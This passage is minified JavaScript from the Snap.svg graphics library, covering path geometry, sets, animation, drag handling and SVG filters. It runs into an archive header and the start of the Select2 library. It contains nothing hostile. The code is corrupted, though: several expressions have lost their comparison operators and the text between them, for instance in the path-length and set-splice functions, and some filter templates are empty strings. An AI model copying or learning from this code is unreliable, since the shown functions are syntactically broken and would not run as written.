q=j*l[p]+j,r=m(q,a,c,e,g),s=m(q,b,d,f,h),t=r*r+s*s;o+=n[p]*N.sqrt(t)}return j*o}function o(a,b,c,d,e,f,g,h,i){if(!(0>i||n(a,b,c,d,e,f,g,h)o;)l/=2,m+=(i>j?1:-1)*l,j=n(a,b,c,d,e,f,g,h,m);return m}}function p(a,b,c,d,e,f,g,h){if(!(Q(a,c)Q(e,g)||Q(b,d)Q(f,h))){var i=(a*d-b*c)*(e-g)-(a-c)*(e*h-f*g),j=(a*d-b*c)*(f-h)-(b-d)*(e*h-f*g),k=(a-c)*(f-h)-(b-d)*(e-g);if(k){var l=i/k,m=j/k,n=+l.toFixed(2),o=+m.toFixed(2);if(!(n<+P(a,c).toFixed(2)||n>+Q(a,c).toFixed(2)||n<+P(e,g).toFixed(2)||n>+Q(e,g).toFixed(2)||o<+P(b,d).toFixed(2)||o>+Q(b,d).toFixed(2)||o<+P(f,h).toFixed(2)||o>+Q(f,h).toFixed(2)))return{x:l,y:m}}}}function q(a,b,c){var d=j(a),e=j(b);if(!l(d,e))return c?0:[];for(var f=n.apply(0,a),g=n.apply(0,b),h=~~(f/8),k=~~(g/8),m=[],o=[],q={},r=c?0:[],s=0;h+1>s;s++){var t=i.apply(0,a.concat(s/h));m.push({x:t.x,y:t.y,t:s/h})}for(s=0;k+1>s;s++)t=i.apply(0,b.concat(s/k)),o.push({x:t.x,y:t.y,t:s/k});for(s=0;h>s;s++)for(var u=0;k>u;u++){var v=m[s],w=m[s+1],x=o[u],y=o[u+1],z=S(w.x-v.x)<.001?"y":"x",A=S(y.x-x.x)<.001?"y":"x",B=p(v.x,v.y,w.x,w.y,x.x,x.y,y.x,y.y);if(B){if(q[B.x.toFixed(4)]==B.y.toFixed(4))continue;q[B.x.toFixed(4)]=B.y.toFixed(4);var C=v.t+S((B[z]-v[z])/(w[z]-v[z]))*(w.t-v.t),D=x.t+S((B[A]-x[A])/(y[A]-x[A]))*(y.t-x.t);C>=0&&1>=C&&D>=0&&1>=D&&(c?r++:r.push({x:B.x,y:B.y,t1:C,t2:D}))}}return r}function r(a,b){return t(a,b)}function s(a,b){return t(a,b,1)}function t(a,b,c){a=E(a),b=E(b);for(var d,e,f,g,h,i,j,k,l,m,n=c?0:[],o=0,p=a.length;p>o;o++){var r=a[o];if("M"==r[0])d=h=r[1],e=i=r[2];else{"C"==r[0]?(l=[d,e].concat(r.slice(1)),d=l[6],e=l[7]):(l=[d,e,d,e,h,i,h,i],d=h,e=i);for(var s=0,t=b.length;t>s;s++){var u=b[s];if("M"==u[0])f=j=u[1],g=k=u[2];else{"C"==u[0]?(m=[f,g].concat(u.slice(1)),f=m[6],g=m[7]):(m=[f,g,f,g,j,k,j,k],f=j,g=k);var v=q(l,m,c);if(c)n+=v;else{for(var w=0,x=v.length;x>w;w++)v[w].segment1=o,v[w].segment2=s,v[w].bez1=l,v[w].bez2=m;n=n.concat(v)}}}}}return n}function u(a,b,c){var d=v(a);return k(d,b,c)&&t(a,[["M",b,c],["H",d.x2+10]],1)%2==1}function v(a){var b=c(a);if(b.bbox)return J(b.bbox);if(!a)return d();a=E(a);for(var e,f=0,g=0,h=[],i=[],j=0,k=a.length;k>j;j++)if(e=a[j],"M"==e[0])f=e[1],g=e[2],h.push(f),i.push(g);else{var l=D(f,g,e[1],e[2],e[3],e[4],e[5],e[6]);h=h.concat(l.min.x,l.max.x),i=i.concat(l.min.y,l.max.y),f=e[5],g=e[6]}var m=P.apply(0,h),n=P.apply(0,i),o=Q.apply(0,h),p=Q.apply(0,i),q=d(m,n,o-m,p-n);return b.bbox=J(q),q}function w(a,b,c,d,f){if(f)return[["M",+a+ +f,b],["l",c-2*f,0],["a",f,f,0,0,1,f,f],["l",0,d-2*f],["a",f,f,0,0,1,-f,f],["l",2*f-c,0],["a",f,f,0,0,1,-f,-f],["l",0,2*f-d],["a",f,f,0,0,1,f,-f],["z"]];var g=[["M",a,b],["l",c,0],["l",0,d],["l",-c,0],["z"]];return g.toString=e,g}function x(a,b,c,d,f){if(null==f&&null==d&&(d=c),a=+a,b=+b,c=+c,d=+d,null!=f)var g=Math.PI/180,h=a+c*Math.cos(-d*g),i=a+c*Math.cos(-f*g),j=b+c*Math.sin(-d*g),k=b+c*Math.sin(-f*g),l=[["M",h,j],["A",c,c,0,+(f-d>180),0,i,k]];else l=[["M",a,b],["m",0,-d],["a",c,d,0,1,1,0,2*d],["a",c,d,0,1,1,0,-2*d],["z"]];return l.toString=e,l}function y(b){var d=c(b),g=String.prototype.toLowerCase;if(d.rel)return f(d.rel);a.is(b,"array")&&a.is(b&&b[0],"array")||(b=a.parsePathString(b));var h=[],i=0,j=0,k=0,l=0,m=0;"M"==b[0][0]&&(i=b[0][1],j=b[0][2],k=i,l=j,m++,h.push(["M",i,j]));for(var n=m,o=b.length;o>n;n++){var p=h[n]=[],q=b[n];if(q[0]!=g.call(q[0]))switch(p[0]=g.call(q[0]),p[0]){case"a":p[1]=q[1],p[2]=q[2],p[3]=q[3],p[4]=q[4],p[5]=q[5],p[6]=+(q[6]-i).toFixed(3),p[7]=+(q[7]-j).toFixed(3);break;case"v":p[1]=+(q[1]-j).toFixed(3);break;case"m":k=q[1],l=q[2];default:for(var r=1,s=q.length;s>r;r++)p[r]=+(q[r]-(r%2?i:j)).toFixed(3)}else{p=h[n]=[],"m"==q[0]&&(k=q[1]+i,l=q[2]+j);for(var t=0,u=q.length;u>t;t++)h[n][t]=q[t]}var v=h[n].length;switch(h[n][0]){case"z":i=k,j=l;break;case"h":i+=+h[n][v-1];break;case"v":j+=+h[n][v-1];break;default:i+=+h[n][v-2],j+=+h[n][v-1]}}return h.toString=e,d.rel=f(h),h}function z(b){var d=c(b);if(d.abs)return f(d.abs);if(I(b,"array")&&I(b&&b[0],"array")||(b=a.parsePathString(b)),!b||!b.length)return[["M",0,0]];var g,h=[],i=0,j=0,k=0,l=0,m=0;"M"==b[0][0]&&(i=+b[0][1],j=+b[0][2],k=i,l=j,m++,h[0]=["M",i,j]);for(var n,o,p=3==b.length&&"M"==b[0][0]&&"R"==b[1][0].toUpperCase()&&"Z"==b[2][0].toUpperCase(),q=m,r=b.length;r>q;q++){if(h.push(n=[]),o=b[q],g=o[0],g!=g.toUpperCase())switch(n[0]=g.toUpperCase(),n[0]){case"A":n[1]=o[1],n[2]=o[2],n[3]=o[3],n[4]=o[4],n[5]=o[5],n[6]=+o[6]+i,n[7]=+o[7]+j;break;case"V":n[1]=+o[1]+j;break;case"H":n[1]=+o[1]+i;break;case"R":for(var s=[i,j].concat(o.slice(1)),t=2,u=s.length;u>t;t++)s[t]=+s[t]+i,s[++t]=+s[t]+j;h.pop(),h=h.concat(G(s,p));break;case"O":h.pop(),s=x(i,j,o[1],o[2]),s.push(s[0]),h=h.concat(s);break;case"U":h.pop(),h=h.concat(x(i,j,o[1],o[2],o[3])),n=["U"].concat(h[h.length-1].slice(-2));break;case"M":k=+o[1]+i,l=+o[2]+j;default:for(t=1,u=o.length;u>t;t++)n[t]=+o[t]+(t%2?i:j)}else if("R"==g)s=[i,j].concat(o.slice(1)),h.pop(),h=h.concat(G(s,p)),n=["R"].concat(o.slice(-2));else if("O"==g)h.pop(),s=x(i,j,o[1],o[2]),s.push(s[0]),h=h.concat(s);else if("U"==g)h.pop(),h=h.concat(x(i,j,o[1],o[2],o[3])),n=["U"].concat(h[h.length-1].slice(-2));else for(var v=0,w=o.length;w>v;v++)n[v]=o[v];if(g=g.toUpperCase(),"O"!=g)switch(n[0]){case"Z":i=+k,j=+l;break;case"H":i=n[1];break;case"V":j=n[1];break;case"M":k=n[n.length-2],l=n[n.length-1];default:i=n[n.length-2],j=n[n.length-1]}}return h.toString=e,d.abs=f(h),h}function A(a,b,c,d){return[a,b,c,d,c,d]}function B(a,b,c,d,e,f){var g=1/3,h=2/3;return[g*a+h*c,g*b+h*d,g*e+h*c,g*f+h*d,e,f]}function C(b,c,d,e,f,g,h,i,j,k){var l,m=120*O/180,n=O/180*(+f||0),o=[],p=a._.cacher(function(a,b,c){var d=a*N.cos(c)-b*N.sin(c),e=a*N.sin(c)+b*N.cos(c);return{x:d,y:e}});if(k)y=k[0],z=k[1],w=k[2],x=k[3];else{l=p(b,c,-n),b=l.x,c=l.y,l=p(i,j,-n),i=l.x,j=l.y;var q=(N.cos(O/180*f),N.sin(O/180*f),(b-i)/2),r=(c-j)/2,s=q*q/(d*d)+r*r/(e*e);s>1&&(s=N.sqrt(s),d=s*d,e=s*e);var t=d*d,u=e*e,v=(g==h?-1:1)*N.sqrt(S((t*u-t*r*r-u*q*q)/(t*r*r+u*q*q))),w=v*d*r/e+(b+i)/2,x=v*-e*q/d+(c+j)/2,y=N.asin(((c-x)/e).toFixed(9)),z=N.asin(((j-x)/e).toFixed(9));y=w>b?O-y:y,z=w>i?O-z:z,0>y&&(y=2*O+y),0>z&&(z=2*O+z),h&&y>z&&(y-=2*O),!h&&z>y&&(z-=2*O)}var A=z-y;if(S(A)>m){var B=z,D=i,E=j;z=y+m*(h&&z>y?1:-1),i=w+d*N.cos(z),j=x+e*N.sin(z),o=C(i,j,d,e,f,0,h,D,E,[z,B,w,x])}A=z-y;var F=N.cos(y),G=N.sin(y),H=N.cos(z),I=N.sin(z),J=N.tan(A/4),K=4/3*d*J,L=4/3*e*J,M=[b,c],P=[b+K*G,c-L*F],Q=[i+K*I,j-L*H],R=[i,j];if(P[0]=2*M[0]-P[0],P[1]=2*M[1]-P[1],k)return[P,Q,R].concat(o);o=[P,Q,R].concat(o).join().split(",");for(var T=[],U=0,V=o.length;V>U;U++)T[U]=U%2?p(o[U-1],o[U],n).y:p(o[U],o[U+1],n).x;return T}function D(a,b,c,d,e,f,g,h){for(var i,j,k,l,m,n,o,p,q=[],r=[[],[]],s=0;2>s;++s)if(0==s?(j=6*a-12*c+6*e,i=-3*a+9*c-9*e+3*g,k=3*c-3*a):(j=6*b-12*d+6*f,i=-3*b+9*d-9*f+3*h,k=3*d-3*b),S(i)<1e-12){if(S(j)<1e-12)continue;l=-k/j,l>0&&1>l&&q.push(l)}else o=j*j-4*k*i,p=N.sqrt(o),0>o||(m=(-j+p)/(2*i),m>0&&1>m&&q.push(m),n=(-j-p)/(2*i),n>0&&1>n&&q.push(n));for(var t,u=q.length,v=u;u--;)l=q[u],t=1-l,r[0][u]=t*t*t*a+3*t*t*l*c+3*t*l*l*e+l*l*l*g,r[1][u]=t*t*t*b+3*t*t*l*d+3*t*l*l*f+l*l*l*h;return r[0][v]=a,r[1][v]=b,r[0][v+1]=g,r[1][v+1]=h,r[0].length=r[1].length=v+2,{min:{x:P.apply(0,r[0]),y:P.apply(0,r[1])},max:{x:Q.apply(0,r[0]),y:Q.apply(0,r[1])}}}function E(a,b){var d=!b&&c(a);if(!b&&d.curve)return f(d.curve);for(var e=z(a),g=b&&z(b),h={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},i={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},j=(function(a,b,c){var d,e;if(!a)return["C",b.x,b.y,b.x,b.y,b.x,b.y];switch(!(a[0]in{T:1,Q:1})&&(b.qx=b.qy=null),a[0]){case"M":b.X=a[1],b.Y=a[2];break;case"A":a=["C"].concat(C.apply(0,[b.x,b.y].concat(a.slice(1))));break;case"S":"C"==c||"S"==c?(d=2*b.x-b.bx,e=2*b.y-b.by):(d=b.x,e=b.y),a=["C",d,e].concat(a.slice(1));break;case"T":"Q"==c||"T"==c?(b.qx=2*b.x-b.qx,b.qy=2*b.y-b.qy):(b.qx=b.x,b.qy=b.y),a=["C"].concat(B(b.x,b.y,b.qx,b.qy,a[1],a[2]));break;case"Q":b.qx=a[1],b.qy=a[2],a=["C"].concat(B(b.x,b.y,a[1],a[2],a[3],a[4]));break;case"L":a=["C"].concat(A(b.x,b.y,a[1],a[2]));break;case"H":a=["C"].concat(A(b.x,b.y,a[1],b.y));break;case"V":a=["C"].concat(A(b.x,b.y,b.x,a[1]));break;case"Z":a=["C"].concat(A(b.x,b.y,b.X,b.Y))}return a}),k=function(a,b){if(a[b].length>7){a[b].shift();for(var c=a[b];c.length;)m[b]="A",g&&(n[b]="A"),a.splice(b++,0,["C"].concat(c.splice(0,6)));a.splice(b,1),r=Q(e.length,g&&g.length||0)}},l=function(a,b,c,d,f){a&&b&&"M"==a[f][0]&&"M"!=b[f][0]&&(b.splice(f,0,["M",d.x,d.y]),c.bx=0,c.by=0,c.x=a[f][1],c.y=a[f][2],r=Q(e.length,g&&g.length||0))},m=[],n=[],o="",p="",q=0,r=Q(e.length,g&&g.length||0);r>q;q++){e[q]&&(o=e[q][0]),"C"!=o&&(m[q]=o,q&&(p=m[q-1])),e[q]=j(e[q],h,p),"A"!=m[q]&&"C"==o&&(m[q]="C"),k(e,q),g&&(g[q]&&(o=g[q][0]),"C"!=o&&(n[q]=o,q&&(p=n[q-1])),g[q]=j(g[q],i,p),"A"!=n[q]&&"C"==o&&(n[q]="C"),k(g,q)),l(e,g,h,i,q),l(g,e,i,h,q);var s=e[q],t=g&&g[q],u=s.length,v=g&&t.length;h.x=s[u-2],h.y=s[u-1],h.bx=M(s[u-4])||h.x,h.by=M(s[u-3])||h.y,i.bx=g&&(M(t[v-4])||i.x),i.by=g&&(M(t[v-3])||i.y),i.x=g&&t[v-2],i.y=g&&t[v-1]}return g||(d.curve=f(e)),g?[e,g]:e}function F(a,b){if(!b)return a;var c,d,e,f,g,h,i;for(a=E(a),e=0,g=a.length;g>e;e++)for(i=a[e],f=1,h=i.length;h>f;f+=2)c=b.x(i[f],i[f+1]),d=b.y(i[f],i[f+1]),i[f]=c,i[f+1]=d;return a}function G(a,b){for(var c=[],d=0,e=a.length;e-2*!b>d;d+=2){var f=[{x:+a[d-2],y:+a[d-1]},{x:+a[d],y:+a[d+1]},{x:+a[d+2],y:+a[d+3]},{x:+a[d+4],y:+a[d+5]}];b?d?e-4==d?f[3]={x:+a[0],y:+a[1]}:e-2==d&&(f[2]={x:+a[0],y:+a[1]},f[3]={x:+a[2],y:+a[3]}):f[0]={x:+a[e-2],y:+a[e-1]}:e-4==d?f[3]=f[2]:d||(f[0]={x:+a[d],y:+a[d+1]}),c.push(["C",(-f[0].x+6*f[1].x+f[2].x)/6,(-f[0].y+6*f[1].y+f[2].y)/6,(f[1].x+6*f[2].x-f[3].x)/6,(f[1].y+6*f[2].y-f[3].y)/6,f[2].x,f[2].y])}return c}var H=b.prototype,I=a.is,J=a._.clone,K="hasOwnProperty",L=/,?([a-z]),?/gi,M=parseFloat,N=Math,O=N.PI,P=N.min,Q=N.max,R=N.pow,S=N.abs,T=h(1),U=h(),V=h(0,1),W=a._unit2px,X={path:function(a){return a.attr("path")},circle:function(a){var b=W(a);return x(b.cx,b.cy,b.r)},ellipse:function(a){var b=W(a);return x(b.cx||0,b.cy||0,b.rx,b.ry)},rect:function(a){var b=W(a);return w(b.x||0,b.y||0,b.width,b.height,b.rx,b.ry)},image:function(a){var b=W(a);return w(b.x||0,b.y||0,b.width,b.height)},line:function(a){return"M"+[a.attr("x1")||0,a.attr("y1")||0,a.attr("x2"),a.attr("y2")]},polyline:function(a){return"M"+a.attr("points")},polygon:function(a){return"M"+a.attr("points")+"z"},deflt:function(a){var b=a.node.getBBox();return w(b.x,b.y,b.width,b.height)}};a.path=c,a.path.getTotalLength=T,a.path.getPointAtLength=U,a.path.getSubpath=function(a,b,c){if(this.getTotalLength(a)-c<1e-6)return V(a,b).end;var d=V(a,c,1);return b?V(d,b).end:d},H.getTotalLength=function(){return this.node.getTotalLength?this.node.getTotalLength():void 0},H.getPointAtLength=function(a){return U(this.attr("d"),a)},H.getSubpath=function(b,c){return a.path.getSubpath(this.attr("d"),b,c)},a._.box=d,a.path.findDotsAtSegment=i,a.path.bezierBBox=j,a.path.isPointInsideBBox=k,a.closest=function(b,c,e,f){for(var g=100,h=d(b-g/2,c-g/2,g,g),i=[],j=e[0].hasOwnProperty("x")?function(a){return{x:e[a].x,y:e[a].y}}:function(a){return{x:e[a],y:f[a]}},l=0;1e6>=g&&!l;){for(var m=0,n=e.length;n>m;m++){var o=j(m);if(k(h,o.x,o.y)){l++,i.push(o);break}}l||(g*=2,h=d(b-g/2,c-g/2,g,g))}if(1e6!=g){var p,q=1/0;for(m=0,n=i.length;n>m;m++){var r=a.len(b,c,i[m].x,i[m].y);q>r&&(q=r,i[m].len=r,p=i[m])}return p}},a.path.isBBoxIntersect=l,a.path.intersection=r,a.path.intersectionNumber=s,a.path.isPointInside=u,a.path.getBBox=v,a.path.get=X,a.path.toRelative=y,a.path.toAbsolute=z,a.path.toCubic=E,a.path.map=F,a.path.toString=e,a.path.clone=f}),d.plugin(function(a){var d=Math.max,e=Math.min,f=function(a){if(this.items=[],this.bindings={},this.length=0,this.type="set",a)for(var b=0,c=a.length;c>b;b++)a[b]&&(this[this.items.length]=this.items[this.items.length]=a[b],this.length++)},g=f.prototype;g.push=function(){for(var a,b,c=0,d=arguments.length;d>c;c++)a=arguments[c],a&&(b=this.items.length,this[b]=this.items[b]=a,this.length++);return this},g.pop=function(){return this.length&&delete this[this.length--],this.items.pop()},g.forEach=function(a,b){for(var c=0,d=this.items.length;d>c;c++)if(a.call(b,this.items[c],c)===!1)return this;return this},g.animate=function(d,e,f,g){"function"!=typeof f||f.length||(g=f,f=c.linear),d instanceof a._.Animation&&(g=d.callback,f=d.easing,e=f.dur,d=d.attr);var h=arguments;if(a.is(d,"array")&&a.is(h[h.length-1],"array"))var i=!0;var j,k=function(){j?this.b=j:j=this.b},l=0,m=this,n=g&&function(){++l==m.length&&g.call(this) };return this.forEach(function(a,c){b.once("snap.animcreated."+a.id,k),i?h[c]&&a.animate.apply(a,h[c]):a.animate(d,e,f,n)})},g.remove=function(){for(;this.length;)this.pop().remove();return this},g.bind=function(a,b,c){var d={};if("function"==typeof b)this.bindings[a]=b;else{var e=c||a;this.bindings[a]=function(a){d[e]=a,b.attr(d)}}return this},g.attr=function(a){var b={};for(var c in a)this.bindings[c]?this.bindings[c](a[c]):b[c]=a[c];for(var d=0,e=this.items.length;e>d;d++)this.items[d].attr(b);return this},g.clear=function(){for(;this.length;)this.pop()},g.splice=function(a,b){a=0>a?d(this.length+a,0):a,b=d(0,e(this.length-a,b));var c,g=[],h=[],i=[];for(c=2;cc;c++)h.push(this[a+c]);for(;cc?i[c]:g[c-j];for(c=this.items.length=this.length-=b-j;this[c];)delete this[c++];return new f(h)},g.exclude=function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]==a)return this.splice(b,1),!0;return!1},g.insertAfter=function(a){for(var b=this.items.length;b--;)this.items[b].insertAfter(a);return this},g.getBBox=function(){for(var a=[],b=[],c=[],f=[],g=this.items.length;g--;)if(!this.items[g].removed){var h=this.items[g].getBBox();a.push(h.x),b.push(h.y),c.push(h.x+h.width),f.push(h.y+h.height)}return a=e.apply(0,a),b=e.apply(0,b),c=d.apply(0,c),f=d.apply(0,f),{x:a,y:b,x2:c,y2:f,width:c-a,height:f-b,cx:a+(c-a)/2,cy:b+(f-b)/2}},g.clone=function(a){a=new f;for(var b=0,c=this.items.length;c>b;b++)a.push(this.items[b].clone());return a},g.toString=function(){return"Snap‘s set"},g.type="set",a.Set=f,a.set=function(){var a=new f;return arguments.length&&a.push.apply(a,Array.prototype.slice.call(arguments,0)),a}}),d.plugin(function(a,c){function d(a){var b=a[0];switch(b.toLowerCase()){case"t":return[b,0,0];case"m":return[b,1,0,0,1,0,0];case"r":return 4==a.length?[b,0,a[2],a[3]]:[b,0];case"s":return 5==a.length?[b,1,1,a[3],a[4]]:3==a.length?[b,1,1]:[b,1]}}function e(b,c,e){c=p(c).replace(/\.{3}|\u2026/g,b),b=a.parseTransformString(b)||[],c=a.parseTransformString(c)||[];for(var f,g,h,i,l=Math.max(b.length,c.length),m=[],n=[],o=0;l>o;o++){if(h=b[o]||d(c[o]),i=c[o]||d(h),h[0]!=i[0]||"r"==h[0].toLowerCase()&&(h[2]!=i[2]||h[3]!=i[3])||"s"==h[0].toLowerCase()&&(h[3]!=i[3]||h[4]!=i[4])){b=a._.transform2matrix(b,e()),c=a._.transform2matrix(c,e()),m=[["m",b.a,b.b,b.c,b.d,b.e,b.f]],n=[["m",c.a,c.b,c.c,c.d,c.e,c.f]];break}for(m[o]=[],n[o]=[],f=0,g=Math.max(h.length,i.length);g>f;f++)f in h&&(m[o][f]=h[f]),f in i&&(n[o][f]=i[f])}return{from:k(m),to:k(n),f:j(m)}}function f(a){return a}function g(a){return function(b){return+b.toFixed(3)+a}}function h(a){return a.join(" ")}function i(b){return a.rgb(b[0],b[1],b[2])}function j(a){var b,c,d,e,f,g,h=0,i=[];for(b=0,c=a.length;c>b;b++){for(f="[",g=['"'+a[b][0]+'"'],d=1,e=a[b].length;e>d;d++)g[d]="val["+h++ +"]";f+=g+"]",i[b]=f}return Function("val","return Snap.path.toString.call(["+i+"])")}function k(a){for(var b=[],c=0,d=a.length;d>c;c++)for(var e=1,f=a[c].length;f>e;e++)b.push(a[c][e]);return b}function l(a){return isFinite(parseFloat(a))}function m(b,c){return a.is(b,"array")&&a.is(c,"array")?b.toString()==c.toString():!1}var n={},o=/[a-z]+$/i,p=String;n.stroke=n.fill="colour",c.prototype.equal=function(a,c){return b("snap.util.equal",this,a,c).firstDefined()},b.on("snap.util.equal",function(b,c){var d,q,r=p(this.attr(b)||""),s=this;if(l(r)&&l(c))return{from:parseFloat(r),to:parseFloat(c),f:f};if("colour"==n[b])return d=a.color(r),q=a.color(c),{from:[d.r,d.g,d.b,d.opacity],to:[q.r,q.g,q.b,q.opacity],f:i};if("viewBox"==b)return d=this.attr(b).vb.split(" ").map(Number),q=c.split(" ").map(Number),{from:d,to:q,f:h};if("transform"==b||"gradientTransform"==b||"patternTransform"==b)return c instanceof a.Matrix&&(c=c.toTransformString()),a._.rgTransform.test(c)||(c=a._.svgTransform2string(c)),e(r,c,function(){return s.getBBox(1)});if("d"==b||"path"==b)return d=a.path.toCubic(r,c),{from:k(d[0]),to:k(d[1]),f:j(d[0])};if("points"==b)return d=p(r).split(a._.separator),q=p(c).split(a._.separator),{from:d,to:q,f:function(a){return a}};var t=r.match(o),u=p(c).match(o);return t&&m(t,u)?{from:parseFloat(r),to:parseFloat(c),f:g(t)}:{from:this.asPX(b),to:this.asPX(b,c),f:f}})}),d.plugin(function(a,c,d,e){for(var f=c.prototype,g="hasOwnProperty",h=("createTouch"in e.doc),i=["click","dblclick","mousedown","mousemove","mouseout","mouseover","mouseup","touchstart","touchmove","touchend","touchcancel"],j={mousedown:"touchstart",mousemove:"touchmove",mouseup:"touchend"},k=(function(a,b){var c="y"==a?"scrollTop":"scrollLeft",d=b&&b.node?b.node.ownerDocument:e.doc;return d[c in d.documentElement?"documentElement":"body"][c]}),l=function(){return this.originalEvent.preventDefault()},m=function(){return this.originalEvent.stopPropagation()},n=function(a,b,c,d){var e=h&&j[b]?j[b]:b,f=function(e){var f=k("y",d),i=k("x",d);if(h&&j[g](b))for(var n=0,o=e.targetTouches&&e.targetTouches.length;o>n;n++)if(e.targetTouches[n].target==a||a.contains(e.targetTouches[n].target)){var p=e;e=e.targetTouches[n],e.originalEvent=p,e.preventDefault=l,e.stopPropagation=m;break}var q=e.clientX+i,r=e.clientY+f;return c.call(d,e,q,r)};return b!==e&&a.addEventListener(b,f,!1),a.addEventListener(e,f,!1),function(){return b!==e&&a.removeEventListener(b,f,!1),a.removeEventListener(e,f,!1),!0}},o=[],p=function(a){for(var c,d=a.clientX,e=a.clientY,f=k("y"),g=k("x"),i=o.length;i--;){if(c=o[i],h){for(var j,l=a.touches&&a.touches.length;l--;)if(j=a.touches[l],j.identifier==c.el._drag.id||c.el.node.contains(j.target)){d=j.clientX,e=j.clientY,(a.originalEvent?a.originalEvent:a).preventDefault();break}}else a.preventDefault();{var m=c.el.node;m.nextSibling,m.parentNode,m.style.display}d+=g,e+=f,b("snap.drag.move."+c.el.id,c.move_scope||c.el,d-c.el._drag.x,e-c.el._drag.y,d,e,a)}},q=function(c){a.unmousemove(p).unmouseup(q);for(var d,e=o.length;e--;)d=o[e],d.el._drag={},b("snap.drag.end."+d.el.id,d.end_scope||d.start_scope||d.move_scope||d.el,c),b.off("snap.drag.*."+d.el.id);o=[]},r=i.length;r--;)!function(b){a[b]=f[b]=function(c,d){if(a.is(c,"function"))this.events=this.events||[],this.events.push({name:b,f:c,unbind:n(this.node||document,b,c,d||this)});else for(var e=0,f=this.events.length;f>e;e++)if(this.events[e].name==b)try{this.events[e].f.call(this)}catch(g){}return this},a["un"+b]=f["un"+b]=function(a){for(var c=this.events||[],d=c.length;d--;)if(c[d].name==b&&(c[d].f==a||!a))return c[d].unbind(),c.splice(d,1),!c.length&&delete this.events,this;return this}}(i[r]);f.hover=function(a,b,c,d){return this.mouseover(a,c).mouseout(b,d||c)},f.unhover=function(a,b){return this.unmouseover(a).unmouseout(b)};var s=[];f.drag=function(c,d,e,f,g,h){function i(i,j,l){(i.originalEvent||i).preventDefault(),k._drag.x=j,k._drag.y=l,k._drag.id=i.identifier,!o.length&&a.mousemove(p).mouseup(q),o.push({el:k,move_scope:f,start_scope:g,end_scope:h}),d&&b.on("snap.drag.start."+k.id,d),c&&b.on("snap.drag.move."+k.id,c),e&&b.on("snap.drag.end."+k.id,e),b("snap.drag.start."+k.id,g||f||k,j,l,i)}function j(a,c,d){b("snap.draginit."+k.id,k,a,c,d)}var k=this;if(!arguments.length){var l;return k.drag(function(a,b){this.attr({transform:l+(l?"T":"t")+[a,b]})},function(){l=this.transform().local})}return b.on("snap.draginit."+k.id,i),k._drag={},s.push({el:k,start:i,init:j}),k.mousedown(j),k},f.undrag=function(){for(var c=s.length;c--;)s[c].el==this&&(this.unmousedown(s[c].init),s.splice(c,1),b.unbind("snap.drag.*."+this.id),b.unbind("snap.draginit."+this.id));return!s.length&&a.unmousemove(p).unmouseup(q),this}}),d.plugin(function(a,c,d){var e=(c.prototype,d.prototype),f=/^\s*url\((.+)\)/,g=String,h=a._.$;a.filter={},e.filter=function(b){var d=this;"svg"!=d.type&&(d=d.paper);var e=a.parse(g(b)),f=a._.id(),i=(d.node.offsetWidth,d.node.offsetHeight,h("filter"));return h(i,{id:f,filterUnits:"userSpaceOnUse"}),i.appendChild(e.node),d.defs.appendChild(i),new c(i)},b.on("snap.util.getattr.filter",function(){b.stop();var c=h(this.node,"filter");if(c){var d=g(c).match(f);return d&&a.select(d[1])}}),b.on("snap.util.attr.filter",function(d){if(d instanceof c&&"filter"==d.type){b.stop();var e=d.node.id;e||(h(d.node,{id:d.id}),e=d.id),h(this.node,{filter:a.url(e)})}d&&"none"!=d||(b.stop(),this.node.removeAttribute("filter"))}),a.filter.blur=function(b,c){null==b&&(b=2);var d=null==c?b:[b,c];return a.format('',{def:d})},a.filter.blur.toString=function(){return this()},a.filter.shadow=function(b,c,d,e,f){return"string"==typeof d&&(e=d,f=e,d=4),"string"!=typeof e&&(f=e,e="#000"),e=e||"#000",null==d&&(d=4),null==f&&(f=1),null==b&&(b=0,c=2),null==c&&(c=b),e=a.color(e),a.format('',{color:e,dx:b,dy:c,blur:d,opacity:f})},a.filter.shadow.toString=function(){return this()},a.filter.grayscale=function(b){return null==b&&(b=1),a.format('',{a:.2126+.7874*(1-b),b:.7152-.7152*(1-b),c:.0722-.0722*(1-b),d:.2126-.2126*(1-b),e:.7152+.2848*(1-b),f:.0722-.0722*(1-b),g:.2126-.2126*(1-b),h:.0722+.9278*(1-b)})},a.filter.grayscale.toString=function(){return this()},a.filter.sepia=function(b){return null==b&&(b=1),a.format('',{a:.393+.607*(1-b),b:.769-.769*(1-b),c:.189-.189*(1-b),d:.349-.349*(1-b),e:.686+.314*(1-b),f:.168-.168*(1-b),g:.272-.272*(1-b),h:.534-.534*(1-b),i:.131+.869*(1-b)})},a.filter.sepia.toString=function(){return this()},a.filter.saturate=function(b){return null==b&&(b=1),a.format('',{amount:1-b})},a.filter.saturate.toString=function(){return this()},a.filter.hueRotate=function(b){return b=b||0,a.format('',{angle:b})},a.filter.hueRotate.toString=function(){return this()},a.filter.invert=function(b){return null==b&&(b=1),a.format('',{amount:b,amount2:1-b})},a.filter.invert.toString=function(){return this()},a.filter.brightness=function(b){return null==b&&(b=1),a.format('',{amount:b})},a.filter.brightness.toString=function(){return this()},a.filter.contrast=function(b){return null==b&&(b=1),a.format('',{amount:b,amount2:.5-b/2})},a.filter.contrast.toString=function(){return this()}}),d.plugin(function(a,b){var c=a._.box,d=a.is,e=/^[^a-z]*([tbmlrc])/i,f=function(){return"T"+this.dx+","+this.dy};b.prototype.getAlign=function(a,b){null==b&&d(a,"string")&&(b=a,a=null),a=a||this.paper;var g=a.getBBox?a.getBBox():c(a),h=this.getBBox(),i={};switch(b=b&&b.match(e),b=b?b[1].toLowerCase():"c"){case"t":i.dx=0,i.dy=g.y-h.y;break;case"b":i.dx=0,i.dy=g.y2-h.y2;break;case"m":i.dx=0,i.dy=g.cy-h.cy;break;case"l":i.dx=g.x-h.x,i.dy=0;break;case"r":i.dx=g.x2-h.x2,i.dy=0;break;default:i.dx=g.cx-h.cx,i.dy=0}return i.toString=f,i},b.prototype.align=function(a,b){return this.transform("..."+this.getAlign(a,b))}}),d}); assets/js/library/select2.min.js000064400000215446147600277620012636 0ustar00;;;/*! Select2 4.1.0-beta.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ !function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(u){var e=function(){if(u&&u.fn&&u.fn.select2&&u.fn.select2.amd)var 